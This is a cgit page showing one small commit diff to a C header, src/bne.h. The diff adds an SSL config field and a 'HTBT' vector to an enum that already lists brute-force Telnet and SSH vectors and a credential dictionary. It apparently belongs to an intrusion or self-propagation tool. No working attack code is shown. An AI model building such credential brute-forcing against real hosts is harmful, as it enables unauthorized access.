aboutsummaryrefslogtreecommitdiff
path: root/src/bne.h
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2020-09-22 02:44:50 +0930
committerDavid Timber <mieabby@gmail.com>2020-09-22 02:44:50 +0930
commit0c8697dd7206aeb761c8796cf160c5ec759aec23 (patch)
tree4bfaad6b00955ad48f87f0e3831e185fab69b5da /src/bne.h
parentddfdc8fe7dfbc0c496dc85c611df26fdc696af09 (diff)
* Impl htbt
* Refactor bne_do_connect() * Impl PRNE_BNE_V_HTBT * Run exec with host cred
Diffstat (limited to 'src/bne.h')
-rw-r--r--src/bne.h3
1 files changed, 3 insertions, 0 deletions
diff --git a/src/bne.h b/src/bne.h
index 3dca3e5..24e0f51 100644
--- a/src/bne.h
+++ b/src/bne.h
@@ -4,6 +4,7 @@
#include <inttypes.h>
#include <stdbool.h>
+#include <mbedtls/ssl.h>
#include <mbedtls/ctr_drbg.h>
#include "pth.h"
@@ -19,6 +20,7 @@ typedef struct prne_bne_result prne_bne_result_t;
enum prne_bne_vector {
PRNE_BNE_V_NONE = -1,
+ PRNE_BNE_V_HTBT,
PRNE_BNE_V_BRUTE_TELNET,
PRNE_BNE_V_BRUTE_SSH,
NB_PRNE_BNE_V
@@ -27,6 +29,7 @@ typedef enum prne_bne_vector prne_bne_vector_t;
struct prne_bne_param {
const prne_cred_dict_t *cred_dict;
+ mbedtls_ssl_config *htbt_ssl_conf;
struct {
const prne_bne_vector_t *arr;
size_t cnt;